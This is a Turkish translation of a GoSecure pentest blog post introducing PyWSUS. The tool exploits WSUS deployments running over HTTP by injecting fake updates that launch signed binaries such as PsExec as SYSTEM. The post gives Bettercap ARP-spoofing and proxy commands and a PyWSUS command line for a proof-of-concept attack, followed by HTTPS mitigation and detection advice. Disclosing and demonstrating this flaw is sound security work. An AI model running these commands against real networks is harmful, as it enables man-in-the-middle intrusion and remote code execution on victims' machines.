WSUS Saldırıları Bölüm 1: PyWSUS'a Giriş

GoSecure'da, pentest hakkındaki bilgilerimizin müşterilerimizin güvenlikleri üzerindeki etkisini göstermek için çok çalışıyoruz. Geçtiğimiz birkaç yılda, savunmasız Windows Server Update Services (WSUS) dağıtımlarına sahip çok sayıda kuruluş bulduk. Ancak, müşterilere bu kritik güvenlik açığıyla ilişkili riskleri gösterecek hiçbir araç (görevler sırasında kullanılacak kadar güvenilir araçlar) mevcut değildi. Bu nedenlerle, bir sonraki blog gönderilerinde, güvenlik açığını tanımlayacağız, saldırı vektörlerini keşfedeceğiz ve güvenlik açığını silahlandırmak için yeni araçlar yayınlayacağız ve ardından etkisini göstereceğiz.


Yanlış yapılandırılmış WSUS'ye saldırmak

2015 yılında, Alex Chapman ve Paul Stone, "WSUSpect-Windows Enterprise'ı Windows Update aracılığıyla Tehlikeye Atma" başlıklı BlackHat sunumlarının bir parçası olarak bir Ortadaki Adam Saldırısı (MITM) gerçekleştirirken Windows güncellemelerini zehirlemek için kanıtlayıcı bir araç yayınladılar. Bu bölüm, ilgili saldırıyı özetleyecektir.

WSUS, kuruluşlardaki sistem yöneticilerinin Microsoft tarafından yayımlanan güncellemelerin ve düzeltmelerin bir sistem filosuna dağıtımını merkezi olarak yönetmesine olanak tanır. Saldırı, WSUS'nin varsayılan yapılandırmasının kötüye kullanılmasından ibarettir: Hizmeti ilk kez yapılandırırken, Şekil 1'de gösterildiği gibi HTTPS kullanımı zorunlu kılınmaz.



Normal bir çalışma modunda, WSUS sunucusu, resmi Microsoft belgelerinde belirtildiği gibi, Microsoft tarafından imzalanmış güncelleme dosyaları biçiminde istemciye güncellemeler sunar:
Alıntı:
WSUS, güncelleme dosyaları için değil, yalnızca méta verileri için SSL kullanır. Bu, Microsoft Update'in güncelleştirmeleri dağıtmasıyla aynı durumdadır. Microsoft, her güncellemeyi imzalayarak güncelleme dosyalarını şifrelenmemiş bir kanal üzerinden gönderme riskini azaltır. Ek olarak, her güncelleme için méta verilerle birlikte bir karma hesaplanır ve gönderilir. Bir güncelleme indirildiğinde, WSUS dijital imzayı ve karmayı kontrol eder. Güncelleme değiştirilmişse uygulama yüklenmez.
Her ne kadar WSUS güncellemelerinde binary dosyaların Microsoft tarafından imzalanması gerekse de, HTTPS'nin uygulanmaması büyük bir sıkıntıdır. HTTP kullanmak, güncelleme sunucusunu kötü amaçlı méta verilerinin enjekte edilip güncellenmesi ile oluşan MITM saldırılarına yol açar. Bu méta verileri imzasızdır, yani kurcalanmalarını önlemek için bütünlük koruması yoktur.

Örneğin, güncellemelerini bir WSUS sunucusundan alacak şekilde yapılandırılmış bir bilgisayar, başlangıçta aşağıdaki el sıkışmayı gerçekleştirir:



İstemci ve sunucu arasındaki tüm métaveri alışverişleri Basit Nesne Erişim Protokolü (SOAP) kullanılarak yapılır. Şifrelenmemiş bir HTTP kanalı üzerinden iletilen SOAP çağrılarının bütünlüğünün eksikliğinden yararlanarak, MITM saldırısı gerçekleştiren bir saldırgan, "SyncUpdates (yazılım)" ve "GetExtendedUpdateInfo" SOAP isteklerine verilen yanıtları değiştirebilir.

Önce yeni bir güncelleme enjekte edilebilir. İkinci olarak, bu yeni güncellemeyle ilişkili bilgiler alınırken, istemciyi indirilecek güncelleme dosyasına yönlendirmek için URL parametresi kullanılır:



URL parametresini değiştirerek, WSUS istemcisi indirilecek olan kötü amaçlı bir binary'ye yeniden yönlendirilebilir. Ancak, istemci tarafından yalnızca geçerli bir Microsoft imzasına sahip binary dosyalar yürütülecektir, bu nedenle kötü amaçlı dosya bu kısımda çalıştırılmayacaktır.

İşin iyi tarafı, "CommandLineInstallation" işleyicisi, güncelleme yüklemesi sırasında binary dosyayı geçmek için ek parametreler kullanır. Bu parametreler üzerinde bütünlük kontrolü yapılmadığından, kolaylıkla üzerlerinde oynama yapılabilir. Sonuç olarak, PsExec64 veya bginfo gibi Microsoft imzalı binary dosyalar, istemci tarafında "NT AUTHORITY\SYSTEM" ayrıcalıklarıyla komut yürütmeyi sağlamak için sahte bir güncellemede kullanılabilir:



Yukarıdaki örnek WSUS yanıtında, PsExec64.exe, istemciye güncelleştirmeyi bağımsız değişkenlerle birlikte yüklemesini söyleyen ve cmd.exe'nin çağrılıp yürütülmesine neden olan kötü amaçlı komuta neden olan imzalı bir "güncelleme" olarak verilmiştir.

Deneyimli pentesterler, Land off the Land binary dosyaları olarak bilinen ve payloadları indirmek ve yürütmek için yeniden kullanılabilecek bir dizi imzalı Windows araçları olduğunu bilirler.

Bu, güvenlik açığını özetler. Daha fazla bilgi için eksiksiz saldırı ayrıntıları BlackHat sunumunda mevcuttur.

Bununla birlikte, blog makalesinin başında belirtildiği gibi, güvenlik açığını ortaya çıkarmak, kuruluşlar üzerindeki etkiyi göstermek için yeterli değildir. Bunun nedeni büyük olasılıkla WSUSpect-proxy'nin yıllardır güncellenmemiş olması ve Windows 10'da çalışmamasıdır. Ayrıca, alternatif projeler vardır fakat bunlar ya bozuktur ya da farklı saldırı senaryolarına odaklanır.


PyWSUS'a Giriş

İç ağlardaki pentestler sırasında, çok sayıda güvenli olmayan WSUS dağıtımıyla karşılaştık. Aslında, WSUS, %98 olarak HTTP kullanmak üzere yapılandırılmıştı.

Genellikle bu kamuya açık bir istismarın olmaması nedeniyle düşük-orta riskli bir gözlem olarak rapor edilir (CVSS 3.1'den sonra) ve kuruluşlar genellikle sorunu hafifletmez.

Bu gözlem üzerindeki etkisini göstermeye çalışırken, WSUSpect-Proxy ile aynı saldırıyı ve hatta daha fazlasını gerçekleştirebilecek PyWSUS adlı WSUS sunucusunun bir Python uygulamasını geliştirdik.

Bu aracın temel amacı, istemcilere kötü amaçlı yanıtlar gönderen resmi bir WSUS sunucusunun bağımsız bir uygulaması olmaktır. MITM saldırısının kendisi Bettercap gibi diğer özel araçlar kullanılarak yapılıyor olmalıdır.

Kullanımı: pywsus.py [-h] -H HOST [-p PORT] -c KOMUT -e SEÇENEKLER[-v]

Kod:
-h, ?help -yardım mesajını gösterir.

-H HOST, ?host HOST Dinleme adresi belirtilir.

-p PORT, ?port PORT Dinleme bağlantı noktası belirtilir.

-c COMMAND, ?command COMMAND
Mevcut payloadiçin parametreler

-e EXECUTABLE, yürütülebilir dosyalar
Yürütülebilir dosya kurbana geri döndürülecek. Microsoft veya Psexec tarafından imzalanmalıdır

-v, ?verbose çıktı ayrıntı düzeyini artırır.


WSUSpect-Proxy Forking Yerine Neden Yeni Bir Araç?

PyWSUS'taki ana tasarım farkı, kesişmeye odaklanmamasıdır. WSUSpect-Proxy'den farklı olarak, aracımız yasal bir WSUS sunucusu gibi davranır ve protokolün iletişimlerinin parçalarını uygular. PyWSUS'un amacı, yalnızca uzaktaki bir ana bilgisayarda kod yürütme sağlamak değil, aynı zamanda araştırmacılara WSUS işlevlerinin çoğundan yararlanmaları için esnek bir araç sağlamaktır. Örneğin, kötü niyetli bir WSUS sunucusu aracılığıyla kalıcılık sağlamak veya önceden yüklenmiş bir yamayı kaldırmak için sömürü sonrası durumu, bu yeni araçla keşfetmeyi planladığımız kullanım durumlarındandır.


Saldırı Örneği

Bu saldırı senaryosunda, kurbanımıza ARP zehirlemesi uygulamak için Bettercap kullanıyoruz, güncelleme isteklerine müdahale ediyoruz ve kötü niyetli bir WSUS güncelleme yanıtı enjekte ediyoruz. Bu güncelleme, rastgele kod çalıştırmak için bir PsExec yükü sağlayacaktır. Bu senaryoyu uygulamalı olarak göstermek için bir video izleyecektir.

Demo için ağ IP adresleri:

? Kurban: 172.16.205.20
? Saldırgan: 172.16.205.21

Bettercap'in şu şekilde yapılandırılması gerekir:

1. ARP, MITM ile zehirlendi
a. set arp.spoof.targets 172.16.205.20
b. arp.spoof on
2. 8530 numaralı bağlantı noktasından gelen tüm trafiği bir PyWSUS örneğine yönlendir
a. set any.proxy.src_port 8530
b. set any.proxy.dst_port 8530
c. set any.proxy.dst_address 172.16.205.21

Son olarak, PsExec ile bir paket güncellemesi sunmak için bir PyWSUS örneği çalıştırın:


python pywsus.py -H 172.16.205.21 -p 8530 -e PsExec64.exe -c ?/accepteula /s cmd.exe /c ?echo wsus.poc > C:\\poc.txt??


Kurbanın sunucusu bir dahaki sefere WSUS ?SyncUpdates? eylemi gerçekleştirecekse, PyWSUS örneği kötü amaçlı güncelleme ile yanıt verecektir.

Deneme

YouTube



Etkisini Azaltmak İçin Yapılabilecekler

Bize göre, bu sorunun kötüye kullanılmasını önlemenin en iyi yolu, WSUS dağıtımlarını güvenli bir HTTPS kanalı kullanmaya zorlamaktır.

WSUS sunucusu tarafından sunulan sertifika, istemci tarafından doğrulanmalıdır. Sertifikanın doğrulanmasındaki hata, wupdate istemcisinin bağlantıyı kapatmasına neden olacaktır.

WSUS sunucusu için sertifika oluşturmanın üç ana yolu şunlardır:
  1. Domain içindeki bilgisayarlara bir Root CA sertifikasının dağıtıldığı ve bu Root CA tarafından imzalanan bir sertifikanın WSUS güncellemelerini sunmak için kullanıldığı dahili bir PKI kullanılması
  2. Windows OS güven kısmına güvenilen üçüncü taraf bir CA yetkilisi tarafından imzalanmış bir sertifika satın alma
  3. Kendinden imzalı bir sertifika kullanma ve bu sertifikanın bir kopyasını bir GPO kullanarak tüm etki alanı içindeki bilgisayarlara gönderme
Algılama kısmında, WSUS'ye kaydolan bir istemci, yüklü güncelleme envanterini düzenli olarak rapor edecektir. Onaylanan ve dağıtılanlardan farklı olan yüklü güncellemeleri aramak, bu tür saldırıları tespit etmenin bir yolu olabilir. Bu, henüz keşfetmediğimiz bir ön fikir. Bir kuruluş ölçeğinde bu tür payloadlı yamaların diferansiyel analizini yapma konusunda deneyiminiz varsa Twitter'dan veya LinkedIn üzerinden bize bildirin.


Sonuç

Bu makalede, çoğu WSUS dağıtımının, Microsoft'tan gelen eski bir varsayılan yapılandırmanın neden olduğu kötü amaçlı güncellemelerin yerleştirilmesine karşı hala savunmasız olduğunu hatırlattık. 2015'te piyasaya sürülen araçlar artık işlevsel olmadığından, bu tür güvenlik açığının kuruluşlar üzerindeki etkisini göstermemize olanak tanıyan yeni bir araç oluşturduk. Ayrıca, WSUS hakkında hem saldırı hem de tespit tarafında daha fazla araştırma yapılması gerektiğini fark ettik. Bir sonraki blog gönderimiz, daha ilginç sonuçlar elde etmek için WSUS'yi diğer hatalarla birlikte ele alıp sorunları keşfedecek. Bizleri beklemede kalın!

Bu blog yazısının içeriği ve daha fazlası, birkaç hafta içinde GoSec sanal etkinliğimizde "Devlerin Omuzunda: WSUS Saldırılarını Yeniden Canlandırmak" başlıklı bir sunumda yer alacaktır. Katıldığınızdan emin olun!

Bu araştırmaya ve bloga katkılarından dolayı Olivier Bilodeau, Romain Carnus, Laurent Desaulniers, Maxime Nadeau ve Mathieu Novis'e özel teşekkürler ederiz.


Kaynak: https://www.turkhackteam.org/web-ser...ng-pywsus.html
Çevirmen: @dolyetyus